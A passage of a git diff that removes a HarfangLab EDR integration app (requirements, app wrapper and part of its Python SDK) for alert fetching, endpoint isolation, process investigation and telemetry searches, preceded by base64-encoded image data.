ZxrvSaUqcM8l0b5u0ewfyRC/028z3S87EuFxf9Dw0RnInGpCXuWhLrLimnB2KTLzL0yIxI7NyxxFs4+4ZkNppGTkS7tLPZwHDTGcicakJe5aUOtKoOIM6TJmJTqpD0hwO+1QyD+s5MfAa/xUjORONSEvcqkXCk6tTgwOVrADnyqRnInGpCXuVR65OItYDryqRnInGpCXuVR64OItYDryqRnInGpCXuVR64OItYDryqRnInGpCXuVR64OItYDryqRnInGpCXuVR64OItYDryqR61kJSlsEk7u2Sm4NRh4f4htq/EqRecKuNMyAdWYpjelZ1jwMkuwq6Sh6xrv7qj1wcRawHXlUimU/wC+iD4Az1IqFOyJnE5yjG06k06Q+uvS9cHEWsB15WEXdDGUX0/aNL1wcRawHXlYRd0MZRfT9o0vXBxFrAdeVQubqVH+qkXdDGUX0/aNL1wcRawHXlU8nqUJlvuqd+k2qpF3QxlF9P2jS9cHEWsB15aQViaFbPrFcfllAgahTOFSLuhjIx6fTZcmCvkPZpeuDiLWA68pUUJK1cEicyC4yeFZ+H3z+JJZYQG209gEoLnVhUiroYyUhaQtChMQd8lO+T/WN/wk6x4cZFDyFNL+FYmk9cHEWqP8hhD1DZpieaUzLKGh8iZtJcA1srC/p2VIq6GOmi62lxPBYnkXWIZtlZE06EzewracE6FiiRJyGc93ZV8Q3HTFXQx9moq9B5Ow5w/5LzUS3QO47leGiKuhj7OW320uoPuqEiWHXIfu2hJ5wxAeC00ZqE2/99//xAApEAEAAQIDCAIDAQEAAAAAAAABESFRADFhIEBBcYGRofAwsRBQ0WDB/9oACAEBAAE/If3WlW5i7Y1cBjG4XOI8sLi3AiA3X2IYWjhwRmYaOHFr6YDvGY9so9NwVhSKGX3rxm6jg+Yq3VLa1eqs/HG/6Bz0dTGR0BUd47dDXP5Y9tjVcZFIQV47qu3q9VZ+XWG4oYfpM78Sva8z8phNCKw8fB1eqs2BFgr1H9/ljQZDPwNXqrNgFYqQu6havVWbzELV6qzeYhavVWbzELV6qzdYhC0IGVAAwS9JqtGOPVpY440O0PZGITMWdVjpGpXniUEq+YkUcTJ1HAySMlzdIhDBCMbIehsDoSpo/r4YcdVjNUn/AIZEIbmIQ3MQmtanDSBvK3MQoxeaZJTyRvAbmISfDSajKehwu9cI+cqSrLZWchM65iUcxktW+4xCqF4CLq4cSLAc+8/Uprhbez76GmGQ8f8Av2VhIQigMkcUNqjs6zalOWMtKBO8fNELkZmpzE93EP6yfuH8wFHuWPuHXbW1tLX3MGpGmJCJrzdxgIcvAMmGZCNyOb7km8rOSYaIBssL44iUVFtwn03lbJPi9cuWmBQhqbrR4wsHaQEoRk/e/wD/xAAjEQABAwQCAwADAAAAAAAAAAABABEwIDFxwSFBEEBQUWGx/9oACAECAQE/IftCHNDWOn5DM1DMWdG9CDufofsCdzAEccQBmAzEjligjGgYBlyr2Ql3yBXcS75ArmJd8gVzEu+QK5iXfIFcxLvoMAmUTbgF3OjPYIFE3MS76GE7oIlvDzcxLvkUuYl3yKXMS76GugUuYl30OM9wKXMS7/JeewqSGbsfNzEu9AE8BcvwC6wVBEAGKKP4IiwK5iW3XVlN55z8VqwEZ4HogAkjFP2U2DdGmfZQ1gV+MnIu/wB3/8QAIBEAAQQDAQEBAQEAAAAAAAAAAQARIDEhQEEQMFBRYf/aAAgBAwEBPyH9omARNr+6D9kFRWNDQIaEN45hd4AWKPmK+zhggsPeYXegBinT6nHw5hdCrRHMLtXOYXaucwu1c5hdq5zC7VwHYII6/wCSF4wURrVYyGGYITB2MqFTsZUKnUx8tCoVOpj9CoVOnlBauhUIJ0XCQFjFITlXQqEC2QuCAMh9q1IlYzio9BNEAYnRBc4QmHtRrENAH8VGuTIIG00r93//xAAqEAABAQUHBAMBAQAAAAAAAAABEQAgITFRQEFhkaGx8BAwcYFQwdFg4f/aAAgBBAABPyH5oJT02VWOzoX0PnHRhMEpEdSRQUcXBHIMRoWCw+mH6LGQNkPMExYFyQAjFnsBqxVdQsmgXDpz1Tmob+k2MYQ/6MGm7wQhuio7y8pC4Bj+3C7dB4689U5qG/qb4BFuLA4BQm7gGfdKbgRYkRq456pzUN7hQhBPRfw7oiXCk556pzUN7hAO42Gz56pzUN9lhnz1Tmob7LDPnqnNQ32WGfPVOahvssMzNS+QACosInigh4q3MBFsTmVM1aWPqsLhAsjssK+hBPGYwLaWSGZtEKvjCHuDhTyUVRYbAwZJAFyR9v4aGcMkM4ZIZgoSSr2NphkhmtWOBnBGkL7tEMkMz4Qh2LE30DDAAAgCQdwjWIZIEkIXAoI1sMMxEwyWHoMDeZ/P9smBdNGQOk5QzAdQFC0eMic9jJgY+WEVkyT170MuG1VZPZsMDC29TKkUZi3f5wAMQ1ZQhSMRCqkLCr42qBCFhikqXgn6tp5DTT4wqqGpMTmeXFUr7TzPa0qDFLZ8fOOrCKnAFRNU/O//2gAOBAEAAgADAAQAAAAQmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZm9KZkGCZmZmZmZmZlh/wCZlPQZmZmZmZmZHP8A+ZlP8kmZmZmZmZr/AP8AmZT/APyZmZmZmZkv/wD5mU//ABmZmZmZmZj/AP8AmZT/APmZmZmZmZmP/wD5mU//AJmZmZmZmZj/AP8AmZT/APmZmZmZmZmP/wD5iE//AJmZmZmZmZj/APVaJH/5mZmZmZmZj/8A3/8ASP8AmZmZmZmZmP8A/wD/APqv+ZmZmZmZmY//AP8A/wCq/wCZmZmZmZmY/wD4/wD6r/mZmZmZmZmP/wAP/wCq/wCZmZmZmZmY/wCe/wD6L/mZmZmZmZkFP4//AKVomZmZmZmZlumR/wD6mXmZmZmZmZmZmSn/AKmZmZmZmZmZmZmZovqZmZmZmZmZmZmZmVuZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmf/8QAKBABAAEDAgYDAAIDAAAAAAAAAREAITFBUSAwQGFx8BCBkVCxoeHx/9oACAEBAAE/EP5q+qIQtwx3AO9FgkXxKIj4dXtzjVAhGXgApAhkZoYszM0cEJOzAZl8pUtPb+JllH5PQJKWv7rgNhfQ7BSFTyWDMj7DjABbkaB5bciY3QahogmiU8hHt0kC6+7Qg85t8pGMC7BldAaIZBQBl93ddiAsHK0DyuE1YEJ2dRyIJcqI71Yj9hKyYwBpzVqjSTAP++Y0D4dIMuP6HNNLTw0uP05mge9QnahM39HNx6l6B+/HqXoH78epegfvx4XoCajx+1HRD9+PA0D9mGAGVUCguDYmbTYMMktiVhcBYgxZGjynIg4uxORBnCEQxA3r0qDdLKi8URAQkSRNx26DfjwMArrqCA3kGzDpQR8ldsEhBEd0BnaGlCCQcWUZcqB6DfjyH77d0L2/HkP327oXt+PAyHMyjeB39Xg9tu6F7fjwMxjh5Qo8LwXvt3Qvb8fliX24USj0u3aJgQ26DCCKrlW88Htt1ZepJyU9TwATEM8/ewKYWfg57rAftKEamO4WrxqtdNSS+7d0ACwEAAAACgTCThN0/wBx+8Htt1KSqk0kC4jrQSBhA6AzFtQXdiofKFrfan007GvN/IONTVRe1jy0eVUrh4mj5u6W7B/kCk70Lnz7bd8Yr/pN50aDRdDKBksgH29ChbRWUn6FEWISyAfUWR1Rr8+23dNZcmMWFxKYhCKNmoePLR/eT3rjlJf49tu6fRldz1SZUXUjqULcwY+Tkb9aOMo5liBC95/nf//EACgRAAEBBQgCAwEAAAAAAAAAAAGhABEgMbEQITBBYYHB8HHRQFGRUP/aAAgBAgEBPxD+04sA1Y24yB7RilpTN/EBgN4XTcxJxvC/0zvM9zEx8B4jechydKtfoGnj6sTisCriwJciGkIBdRyMaQmA9p0BQZC1OKwKuLQ0jiJNnpT0OeKcI5kF9XQJxWBVxAdxdCKHjFK4OpQJxWBVxAV31eMXo2gTisCriBSqMXo2gTisCriBSqMXo2gTisCriBSqMXo2gTisCriBSqMXo2gMw4ABjI+rmfTE5eN/ksOAtIz2PQwuV5mNdOyLOdapVGL0bQG+ofwPPqAgFkHEUPDClZ7/ANv5tUqjF6NsBNy1FQWqVRi9G2Am5aioLVKoxejaB97W6BNy1FQWqVRi9G0B5gMlLkv3gTctRUFqlUYvRta9Qfd67IMAAR9mkCbljq+cP0Mvw2qVRi9GzFXDyxMeOzPrf8YaG4GXmkCbljgbwWPG8H6Hg518s9EB1uZSqMU+CFyT2HOF4B1pTjmB2lzAm5tCuARqHsVhFK4O+CBl4Ic2RzLUZG1Nz8aQwJHuTXfFD4sTc/HKxiNWMPMoLerGI3wdJ2fn+7//xAAoEQABAQcEAgMAAwAAAAAAAAABEQAgMaGxwdEQITBxQfBAUGFRgfH/2gAIAQMBAT8Q+6LoqW30wJsEAdyuBORRG8lSyxfYfAS4gIlkgaQuJLOhYNQxyJR77+8pBxiwxqQuJLOpGLYscp45QnLwPbuQuJLLgwQdYvyjv/S7kLiSy4G3sUPLau5C4ksuQexQ8tq7kLiSy5B7FDy2ruQuJLLkHsUPLau5C4ksuQexQ8tq7hkUSWQApkwEEDCAiwVg/Dn3wwKhdYPYoeW1dwJXw4EAdMct6m2sHsUPLavwT2WrqnWD2KHltX4J7LV1TrB7FDy2ruJc57LV1TrB7FDy2ruCR+EFf8cnstXVOsHsUPLavqNKJDLEpD+XcnssoMRPzrB7FDy2rsEUlgh3DL3pi46ktSXcnssQwRCGAR5v5996YcooaB2KHlUAQK2/GPeo0D5COT2dTimjKZEfvwTgjBhPUns/GU4gYhlcaT2fjk1ULbeKyYABsT73/8QAJhABAAECBQUAAwEBAAAAAAAAAREhMQBBUWFxIDBAgZEQUKGx8f/aAAgBBAABPxD91RSigK6C62JcJLRPegyj6YV9ONU4zFHQZtupoyRJLRGFgKkP7p/kOI2y0BdHj2B4BS0gFFFiqPaoZot3SFRItabRfNWvYqn3JjMObOSZqRzMaBlClxyHpuUmO7rK8yBYN2IDVMPZrJJHPGFN2W69qqfv5TLNpyZJmKZ4iLNVMr4Qxsj3SgMg2aHx3FU+xBWTpU7oVGyreBPcqnyAxJGsRd27n5JVPxrufklU/Gu5+SVT8a7n1FWefnhn413PoJIL4hSOQAuHVCGga1VMoNTkPnFmXn9MNKybqx6yGYjal8L4QagMFyRwBOeERRFFESE2fAjXc+gbEUy77EIu0nRO9WrNpHKvM64JqkagEKbS/AjXc/JFoo13PyRaKNdz6BbFAuSVJ8DxVoo13PoFAkEgIp9Xiq0Ua7n+RQlkEEVFzobhbpJFxzgAABkdK1aVLQMNnBuDcnvxhXngc1sPI2BXBfIiUQ6FQaXq/rEdjH0M1Vqq1VqrLhJoYCnp3JfkXVIQbiYQGYli8xTaCA1wbisBF4Bg90a1tiTQoHWHwwjVCEM8wPzQobrj/jC+uu7/AINysJhnV3qQlokH0eCW1u82D44fgSYo6w8hDoBl5NwQZs5NctASbCVMT6ewfwmP6Zg+TdZGuc2pNncrhkKLWcIiDFOmUItRYn97/9k= diff --git a/harfanglab-edr/1.0.0/requirements.txt b/harfanglab-edr/1.0.0/requirements.txt deleted file mode 100644 index 414fe428..00000000 --- a/harfanglab-edr/1.0.0/requirements.txt +++ /dev/null @@ -1,4 +0,0 @@ -requests==2.28.1 -python-dateutil==2.8.2 -DateTime==4.7 -Markdown==3.4.1 diff --git a/harfanglab-edr/1.0.0/src/app.py b/harfanglab-edr/1.0.0/src/app.py deleted file mode 100644 index dfe7889c..00000000 --- a/harfanglab-edr/1.0.0/src/app.py +++ /dev/null @@ -1,221 +0,0 @@ -import socket -import asyncio -import time -import random -import json -from datetime import datetime, timedelta, timezone -import requests -import dateutil.parser -from harfanglab_sdk import * - -from walkoff_app_sdk.app_base import AppBase - - -class HarfangLabEDR(AppBase): - __version__ = "1.0.0" - app_name = "HarfangLab EDR" # this needs to match "name" in api.yaml - - def __init__(self, redis, logger, console_logger=None): - """ - Each app should have this __init__ to set up Redis and logging. - :param redis: - :param logger: - :param console_logger: - """ - super().__init__(redis, logger, console_logger) - - def fetch_incidents(self, base_url, api_key, verify_certificate, http_proxy, https_proxy, first_fetch = None, alert_status = None, alert_type = None, min_severity = None, max_fetch = None, only_new_alerts = None, delay = 0, exclude_rules = None): - conn = HarfangLabConnector(base_url, api_key, verify_certificate, http_proxy, https_proxy, self.logger) - try: - - excluded_rules = None - - last_fetch = None - - if only_new_alerts == 'true': - last_fetch = self.get_cache('last_fetch').get('value', None) - - if exclude_rules: - excluded_rules = exclude_rules.lower().split('\n') - - (latest_created_time_us, events) = conn.fetch_security_events(first_fetch, alert_status, alert_type, min_severity, max_fetch, last_fetch, delay, excluded_rules) - - if only_new_alerts == 'true': - self.set_cache('last_fetch', latest_created_time_us) - - return events - - except Exception as e: - raise Exception(f'Failed to fetch incidents: {str(e)}') - - - def add_ioc_to_source(self, base_url, api_key, verify_certificate, http_proxy, https_proxy, ioc_value, ioc_type, ioc_comment, ioc_status, source_name): - conn = HarfangLabConnector(base_url, api_key, verify_certificate, http_proxy, https_proxy, self.logger) - try: - return conn.add_ioc_to_source(ioc_value, ioc_type, ioc_comment, ioc_status, source_name) - except Exception as e: - return f'Failed to add IOC {ioc_value} to source {source_name}: %s' % (str(e)) - - def change_security_event_status(self, base_url, api_key, verify_certificate, http_proxy, https_proxy, event_id, status): - conn = HarfangLabConnector(base_url, api_key, verify_certificate, http_proxy, https_proxy, self.logger) - try: - return conn.change_security_event_status(event_id, status) - except Exception as e: - return f'Failed to change the status of the security incident: %s' % (str(e)) - - def isolate_endpoint(self, base_url, api_key, verify_certificate, http_proxy, https_proxy, agent_id): - conn = HarfangLabConnector(base_url, api_key, verify_certificate, http_proxy, https_proxy, self.logger) - try: - self.logger.debug(f'verify: {conn.verify}') - return conn.isolate_endpoint(agent_id) - except Exception as e: - return f'Failed to isolate endpoint: %s' % (str(e)) - - def unisolate_endpoint(self, base_url, api_key, verify_certificate, http_proxy, https_proxy, agent_id): - conn = HarfangLabConnector(base_url, api_key, verify_certificate, http_proxy, https_proxy, self.logger) - try: - return conn.unisolate_endpoint(agent_id) - except Exception as e: - return f'Failed to unisolate endpoint: %s' % (str(e)) - - def run_job(self, base_url, api_key, verify_certificate, http_proxy, https_proxy, job_name, agent_id, job_title, job_description, job_timeout): - if not job_timeout or job_timeout == '': - job_timeout = '600' - conn = HarfangLabConnector(base_url, api_key, verify_certificate, http_proxy, https_proxy, self.logger) - - try: - return conn.run_job(job_name, agent_id, job_title, job_description, int(job_timeout)) - except Exception as e: - return f'Failed to run job: %s' % (str(e)) - - def dump_process(self, base_url, api_key, verify_certificate, http_proxy, https_proxy, agent_id, process_uuid, job_timeout): - if not job_timeout or job_timeout == '': - job_timeout = '600' - conn = HarfangLabConnector(base_url, api_key, verify_certificate, http_proxy, https_proxy, self.logger) - - try: - return conn.dump_process(agent_id, process_uuid, int(job_timeout)) - except Exception as e: - return f'Failed to dump process: %s' % (str(e)) - - def kill_process(self, base_url, api_key, verify_certificate, http_proxy, https_proxy, agent_id, process_uuid, job_timeout): - if not job_timeout or job_timeout == '': - job_timeout = '600' - conn = HarfangLabConnector(base_url, api_key, verify_certificate, http_proxy, https_proxy, self.logger) - - try: - return conn.kill_process(agent_id, process_uuid, int(job_timeout)) - except Exception as e: - return f'Failed to kill process: %s' % (str(e)) - - - def telemetry_search_hash(self, base_url, api_key, verify_certificate, http_proxy, https_proxy, hash, process_name, image_name, limit): - conn = HarfangLabConnector(base_url, api_key, verify_certificate, http_proxy, https_proxy, self.logger) - if not limit or limit == '': - limit = None - else: - limit = int(limit) - - args = { - 'hash': hash, - 'process_name': process_name, - 'image_name': image_name, - 'limit': limit - } - try: - return conn.search_telemetry('searchHash', args) - except Exception as e: - return f'Failed to search in telemetry: %s' % (str(e)) - - def telemetry_search_driver_by_hash(self, base_url, api_key, verify_certificate, http_proxy, https_proxy, hash, limit): - conn = HarfangLabConnector(base_url, api_key, verify_certificate, http_proxy, https_proxy, self.logger) - if not limit or limit == '': - limit = None - else: - limit = int(limit) - - args = { - 'hash': hash, - 'limit': limit - } - try: - return conn.search_telemetry('searchDriverByHash', args) - except Exception as e: - return f'Failed to search in telemetry: %s' % (str(e)) - - def telemetry_search_driver_by_filename(self, base_url, api_key, verify_certificate, http_proxy, https_proxy, filename, limit): - conn = HarfangLabConnector(base_url, api_key, verify_certificate, http_proxy, https_proxy, self.logger) - if not limit or limit == '': - limit = None - else: - limit = int(limit) - - args = { - 'filename': filename, - 'limit': limit - } - try: - return conn.search_telemetry('searchDriverByFileName', args) - except Exception as e: - return f'Failed to search in telemetry: %s' % (str(e)) - - def telemetry_search_destination_ip(self, base_url, api_key, verify_certificate, http_proxy, https_proxy, ip, limit): - conn = HarfangLabConnector(base_url, api_key, verify_certificate, http_proxy, https_proxy, self.logger) - if not limit or limit == '': - limit = None - else: - limit = int(limit) - - args = { - 'ip': ip, - 'limit': limit - } - try: - return conn.search_telemetry('searchDestinationIP', args) - except Exception as e: - return f'Failed to search in telemetry: %s' % (str(e)) - - def telemetry_search_source_ip(self, base_url, api_key, verify_certificate, http_proxy, https_proxy, ip, limit): - conn = HarfangLabConnector(base_url, api_key, verify_certificate, http_proxy, https_proxy, self.logger) - if not limit or limit == '': - limit = None - else: - limit = int(limit) - - args = { - 'ip': ip, - 'limit': limit - } - try: - return conn.search_telemetry('searchSourceIP', args) - except Exception as e: - return f'Failed to search in telemetry: %s' % (str(e)) - - def telemetry_get_binary(self, base_url, api_key, verify_certificate, http_proxy, https_proxy, hash): - conn = HarfangLabConnector(base_url, api_key, verify_certificate, http_proxy, https_proxy, self.logger) - - args = { - 'hash': hash - } - try: - return conn.search_telemetry('getBinary', args) - except Exception as e: - return f'Failed to search in telemetry: %s' % (str(e)) - - def telemetry_search_iocs(self, base_url, api_key, verify_certificate, http_proxy, https_proxy, iocs, limit, search_types): - conn = HarfangLabConnector(base_url, api_key, verify_certificate, http_proxy, https_proxy, self.logger) - if not limit or limit == '': - limit = None - else: - limit = int(limit) - - iocs_json = json.loads(iocs) - search_types_array = search_types.split(',') - try: - return conn.search_multiple_iocs_in_telemetry(iocs_json, limit, search_types_array) - except Exception as e: - return f'Failed to search IOCs in telemetry: %s' % (str(e)) - - -if __name__ == "__main__": - HarfangLabEDR.run() diff --git a/harfanglab-edr/1.0.0/src/harfanglab_sdk.py b/harfanglab-edr/1.0.0/src/harfanglab_sdk.py deleted file mode 100644 index 9a07c504..00000000 --- a/harfanglab-edr/1.0.0/src/harfanglab_sdk.py +++ /dev/null @@ -1,1951 +0,0 @@ -import requests -import json -from datetime import datetime, timedelta, timezone -import requests -import dateutil.parser -import time -import logging -import markdown - -STRING_TYPES = (str, bytes) -MARKDOWN_CHARS = r"\`*_{}[]()#+-!|" - -def get_params(params): - res = [] - if params: - for k, v in params.items(): - res.append(f'{k}={v}') - return '?' + '&'.join(res) - else: - return '' - - -def string_escape(st): - """ - Escape any chars that might break a markdown string - - :type st: ``str`` - :param st: The string to be modified (required) - - :return: A modified string - :rtype: ``str`` - """ - st = st.replace('\r\n', '
') # Windows - st = st.replace('\r', '
') # old Mac - st = st.replace('\n', '
') # Unix - - for c in ('|', '`'): - st = st.replace(c, '\\' + c) - - return st - -def get_markdown_from_table(name, t, headers=None, headerTransform=None, url_keys=None): - """ - Converts a JSON table to a Markdown table - - :type name: ``str`` - :param name: The name of the table (required) - - :type t: ``dict`` or ``list`` - :param t: The JSON table - List of dictionaries with the same keys or a single dictionary (required) - - :type headers: ``list`` or ``string`` - :param headers: A list of headers to be presented in the output table (by order). If string will be passed - then table will have single header. Default will include all available headers. - - :type headerTransform: ``function`` - :param headerTransform: A function that formats the original data headers (optional) - - :type url_keys: ``list`` - :param url_keys: a list of keys in the given JSON table that should be turned in to clickable - - :return: A string representation of the markdown table - :rtype: ``str`` - """ - # Turning the urls in the table to clickable - if url_keys: - t = url_to_clickable_markdown(t, url_keys) - - result = '' - if name: - result = '### ' + name + '\n' - - if not t or len(t) == 0: - result += '**No entries.**\n' - return result - - if not headers and isinstance(t, dict) and len(t.keys()) == 1: - # in case of a single key, create a column table where each element is in a different row. - headers = list(t.keys()) - t = list(t.values())[0] - - if not isinstance(t, list): - t = [t] - - if headers and isinstance(headers, STRING_TYPES): - headers = [headers] - - if not isinstance(t[0], dict): - # the table contains only simple objects (strings, numbers) - # should be only one header - if headers and len(headers) > 0: - header = headers[0] - t = [{header: item} for item in t] - else: - raise Exception( - "Missing headers param for get_markdown_from_table. Example: headers=['Some Header']") - - # in case of headers was not provided (backward compatibility) - if not headers: - headers = list(t[0].keys()) - headers.sort() - - if t and len(headers) > 0: - newHeaders = [] - if headerTransform is None: # noqa - def headerTransform(s): return string_escape(s.title()) # noqa - for header in headers: - newHeaders.append(headerTransform(header)) - result += '|' - if len(newHeaders) == 1: - result += newHeaders[0] - else: - result += '|'.join(newHeaders) - result += '|\n' - sep = '---' - result += '|' + '|'.join([sep] * len(headers)) + '|\n' - for entry in t: - entry_copy = entry.copy() - - vals = [string_escape(str(entry_copy.get(h, '') if entry_copy.get( - h) is not None else '')) for h in headers] - - # this pipe is optional - result += '| ' - try: - result += ' | '.join(vals) - except UnicodeDecodeError: - vals = [str(v) for v in vals] - result += ' | '.join(vals) - result += ' |\n' - - else: - result += '**No entries.**\n' - - return result - -def url_to_clickable_markdown(data, url_keys): - """ - Transform the urls fields into clickable url in markdown. - - :type data: ``[Union[str, List[Any], Dict[str, Any]]]`` - :param data: a dictionary or a list containing data with some values that are urls - - :type url_keys: ``Dict[str, str]`` - :param url_keys: a dict whose keys correspond to the url fields to turn into clickable, and values correspond to the link texts - - :return: markdown format for clickable url - :rtype: ``[Union[str, List[Any], Dict[str, Any]]]`` - """ - - if isinstance(data, list): - data = [url_to_clickable_markdown(item, url_keys) for item in data] - - elif isinstance(data, dict): - data = {key: get_clickable_url(value, url_keys.get(key, None)) if key in url_keys else url_to_clickable_markdown(data[key], url_keys) - for key, value in data.items()} - - return data - -def get_clickable_url(url, text=None): - """ - Make the given url clickable in markdown format - - :type url: ``Union[List[str], str]`` - :param url: the url of interest or a list of urls - - :type text: ``str`` - :param text: the link text to print - - :return: markdown format for clickable url - :rtype: ``str`` - - """ - if not url: - return None - elif isinstance(url, list): - if text: - return ['[{}]({})'.format(text, item) for item in url] - else: - return ['[{}]({})'.format(item, item) for item in url] - - if text: - return '[{}]({})'.format(text, url) - else: - return '[{}]({})'.format(url, url) - -class HarfangLabConnector: - - SEVERITIES = ['Informational', 'Low', 'Medium', 'High', 'Critical'] - MAX_NUMBER_OF_ALERTS_PER_CALL = 200 - MAX_NUMBER_OF_ITEMS = 10000 - - def __init__(self, base_url, api_key, verify_certificate=True, http_proxy=None, https_proxy=None, logger=logging.getLogger('HarfangLab SDK')): - """ - Initialize a HarfangLab EDR connector - - :param base_url: The base_url of the HarfangLab EDR manager (https://hurukai:8443) - :param api_key: The API key to use to connect to the EDR Manager - :param verify_certificate: Either a boolean True or False or a string 'true' or 'false' - :param http_proxy: Proxy to use for HTTP connections - :param https_proxy: Proxy to use for HTTPS connections - :param logger: Logger to use - """ - - self.base_url = base_url.rstrip('/') - self.api_key = api_key - self.hlSession = requests.Session() - self.logger = logger - - self.verify = True - if type(verify_certificate) == bool: - self.verify = verify_certificate - elif isinstance(verify_certificate, str) and verify_certificate.lower() == 'false': - self.verify = False - else: - self.verify = True - - self.logger.debug(f'Verify: {self.verify}') - - self.hlSession.verify = self.verify - self.hlSession.headers.update( - { - 'Authorization': f'Token {self.api_key}' - } - ) - proxies = {} - if http_proxy and len(http_proxy) > 4: - proxies['http'] = http_proxy - if https_proxy and len(http_proxy) > 5: - proxies['https'] = https_proxy - self.hlSession.proxies = proxies - self.logger = logger - - def __get_first_element(self, table): - """ - Return the first element of a table - - :type table: ``List[Any]`` - :param table: The table to extract the first element of - - :return: The first element of the table - :rtype: ``Any`` - """ - - if table and isinstance(table, list) and len(table) > 0: - return table[0] - else: - return None - - def __flatten_table(self, table): - """ - Return a flattened string of all elements of a table joined with a ',' - - :type table: ``List[Any]`` - :param table: The table to flatten - - :return: The flattened table - :rtype: ``str`` - """ - - if table and isinstance(table, list) and len(table) > 0: - return ', '.join(table) - else: - return None - - def __get_hash_parameter(self, binary_hash): - """ - Return a tuple (hash filter name, hash value) to be used as filter for the HarfangLab API - - :type binary_hash: ``str`` - :param str: The raw binary hash (either MD5, SHA1 or SHA256) - - :return: A tuple (hash filter name, hash value) - :rtype: ``Tuple(str,str)`` - """ - - hash_type = None - if binary_hash is not None: - if len(binary_hash) == 64: - hash_type = "sha256" - elif len(binary_hash) == 40: - hash_type = "sha1" - elif len(binary_hash) == 32: - hash_type = "md5" - - return (f'hashes.{hash_type}__exact', binary_hash) - - return (None, None) - - def __generate_link_for_binary(self, v): - """ - Return a HarfangLab download link for a binary including a temporary api token - - :type v: ``str`` - :param v: The binary SHA256 hash - - :return: A download link - :rtype: ``str`` - """ - - url = f'{self.base_url}/api/user/api_token/' - api_token = None - - try: - token = self.hlSession.post( - url=url, data={'is_expirable': True}).json() - if 'api_token' in token: - api_token = token['api_token'] - link = f'{self.base_url}/api/data/telemetry/Binary/download/{v}' - if api_token: - link += f'?hl_expiring_key={api_token}' - return link - - except Exception as e: - return 'N/A' - - def __generate_link_for_artifact(self, v): - """ - Return a HarfangLab download link for a job artifact from its id - - :type v: ``str`` - :param v: The artifact id - - :return: A download link - :rtype: ``str`` - """ - - url = f'{self.base_url}/api/user/api_token/' - api_token = None - - try: - token = self.hlSession.post( - url=url, data={'is_expirable': True}).json() - if 'api_token' in token: - api_token = token['api_token'] - link = f'{self.base_url}/api/data/investigation/artefact/Artefact/{v}/download/' - if api_token: - link += f'?hl_expiring_key={api_token}' - - return link - except Exception as e: - return 'N/A' - - def __get_destination_ip(self, v): - """ - Return a tuple (hash filter name, hash value) to be used as filter for the HarfangLab API for a destination IP filter - - :type v: ``str`` - :param v: The IP address - - :return: A tuple (hash filter name, hash value) - :rtype: ``Tuple(str,str)`` - """ - - return ('daddr', v) - - def __get_source_ip(self, v): - """ - Return a tuple (hash filter name, hash value) to be used as filter for the HarfangLab API for a source IP filter - - :type v: ``str`` - :param v: The IP address - - :return: A tuple (hash filter name, hash value) - :rtype: ``Tuple(str,str)`` - """ - return ('saddr', v) - - def __generate_view_link_for_source_ip(self, filters): - """ - Return a HarfangLab view link for an IP IOC - - :type filters: ``Dict[str,str]`` - :param filters: The filters with their associated value to pass as query parameters - - :return: A view link - :rtype: ``str`` - """ - f = [] - for filter, v in filters.items(): - f.append(f'{filter}={v}') - return f'{self.base_url}/telemetry/network-connections?offset=0&{"&".join(f)}&ordering=-event_create_date' - - def __generate_view_link_for_destination_ip(self, filters): - """ - Return a HarfangLab view link for an IP IOC - - :type filters: ``Dict[str,str]`` - :param filters: The filters with their associated value to pass as query parameters - - :return: A view link - :rtype: ``str`` - """ - f = [] - for filter, v in filters.items(): - f.append(f'{filter}={v}') - return f'{self.base_url}/telemetry/network-connections?offset=0&{"&".join(f)}&ordering=-event_create_date' - - def __generate_view_link_for_hash(self, filters): - """ - Return a HarfangLab view link for an IP IOC - - :type filters: ``List[str]`` - :param filters: The list of parameters required to generate the link - - :return: A view link - :rtype: ``str`` - """ - - f = [] - for filter, v in filters.items(): - f.append(f'{filter}={v}') - return f'{self.base_url}/telemetry/processes?limit=25&offset=0&{"&".join(f)}&ordering=-event_create_date' - - - """ - The JOBS dict contains all the job services and their description. Its keys correspond to the service names in the service description file in JSON format. - Each job is associated to a responder flavor. When called from a TheHive case, it generates a dedicated task in TheHive whose description contains the job result in Markdown. - - Job description structure: - * request_api_endpoint: HarfangLab API endpoint to start a job and get its status - * result_api_endpoint: HarfangLab API endpoint to get job results - * title: Title associated to the job result, that is provided in the task description - * task_title: Description of the TheHive task - * action: Job action that is transmitted to the HarfangLab API - * ordering: Value ordering field (format corresponding to HarfangLab API) - * fields: List of output fields to provide in the resulting markdown table. - - Each output field is described with the following parameters: - * name: Name of the field as provided in the result table headers - * path: Path of the field value for extraction from the job results. The path is composed of all dict keys separated by a '.' - * default: Default value to use if the path does not exist - * transform: Function to use to transform the field before inserting into the resulting table - * is_url: Indicates whether the field must be rendered as a markdown URL - * link_text: Corresponds to the link text to show if the field must be rendered as a markdown URL. It not specified, the URL will be used as the text to show. - """ - - JOBS = { - 'getProcesses': { - 'request_api_endpoint': '/api/data/Job/', - 'status_api_endpoint': '/api/data/Job/', - 'result_api_endpoint': '/api/data/investigation/hunting/Process/', - 'title': 'Process list', - 'task_title': 'Review process list', - 'action': 'getProcessList', - 'ordering': 'name', - 'fields': [ - {'name': 'name', 'path': 'name', 'default': None}, - {'name': 'session', 'path': 'session', 'default': None}, - {'name': 'username', 'path': 'username', 'default': None}, - {'name': 'integrity', 'path': 'integrity_level', 'default': None}, - {'name': 'pid', 'path': 'pid', 'default': None}, - {'name': 'ppid', 'path': 'ppid', 'default': None}, - {'name': 'cmdline', 'path': 'cmdline', 'default': None}, - {'name': 'fullpath', 'path': 'binaryinfo.fullpath', 'default': None}, - {'name': 'signed', 'path': 'binaryinfo.binaryinfo.signed', - 'default': False}, - {'name': 'md5', 'path': 'binaryinfo.binaryinfo.md5', 'default': None}, - {'name': 'sha1', 'path': 'binaryinfo.binaryinfo.sha1', - 'default': None}, - {'name': 'sha256', 'path': 'binaryinfo.binaryinfo.sha256', - 'default': None} - ] - }, - 'getServices': { - 'request_api_endpoint': '/api/data/Job/', - 'status_api_endpoint': '/api/data/Job/', - 'result_api_endpoint': '/api/data/investigation/hunting/Service/', - 'title': 'Service list', - 'task_title': 'Review service list', - 'action': 'getHives', - 'ordering': 'service_name', - 'fields': [ - {'name': 'name', 'path': 'service_name', 'default': None}, - {'name': 'image path', 'path': 'image_path', 'default': None}, - {'name': 'fullpath', 'path': 'binaryinfo.fullpath', 'default': None}, - {'name': 'signed', 'path': 'binaryinfo.binaryinfo.signed', - 'default': False}, - {'name': 'md5', 'path': 